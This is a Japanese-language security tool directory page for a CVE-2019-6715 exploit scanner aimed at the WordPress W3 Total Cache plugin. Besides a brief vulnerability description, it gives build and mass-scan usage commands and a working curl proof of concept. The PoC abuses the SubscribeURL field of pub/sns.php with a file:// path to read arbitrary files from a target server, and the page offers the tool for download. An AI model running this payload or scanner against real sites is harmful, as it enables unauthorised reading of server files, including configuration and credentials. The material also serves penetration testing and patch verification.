Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2019-6715 | Kitploit
ツール/GitHubGitHub/random-robbie/cve-2019-6715
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubrandom-robbie/cve-2019-6715

cve-2019-6715

リポジトリを見る
1136年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

cve-2019-6715

TomNomNom に敬意を表します。コードの 99.9% は彼によるものです....

ビルド

root@kitploit:~
go get github.com/fatih/color
go build

使用方法

root@kitploit:~
cat list.txt | ./2019-6715

すべての脆弱性 URL は text.log に記録されます

CVE 2019-6715

説明: WordPress 用 W3 Total Cache プラグイン 0.9.4 より前のバージョンの pub/sns.php は、SubscriptionConfirmation JSON データ内の SubscribeURL フィールドを介して、リモート攻撃者による任意のファイル読み取りを可能にします。

脆弱性タイプ: 任意ファイル読み取り

製品ベンダー: Frederick Townes による WordPress W3 Total Cache プラグイン

影響を受ける製品コードベース: W3 Total Cache - 0.9.2.6 - 0.9.3、0.9.4 で修正済み

影響を受けるコンポーネント: 影響を受けるソースコードファイル: w3-total-cache/pub/sns.php

エクスプロイト - PoC:

root@kitploit:~
curl -X PUT --data '{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"file://file_path"}' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36' http://victim.com/wp-content/plugins/w3-total-cache/pub/sns.php
ツールをダウンロード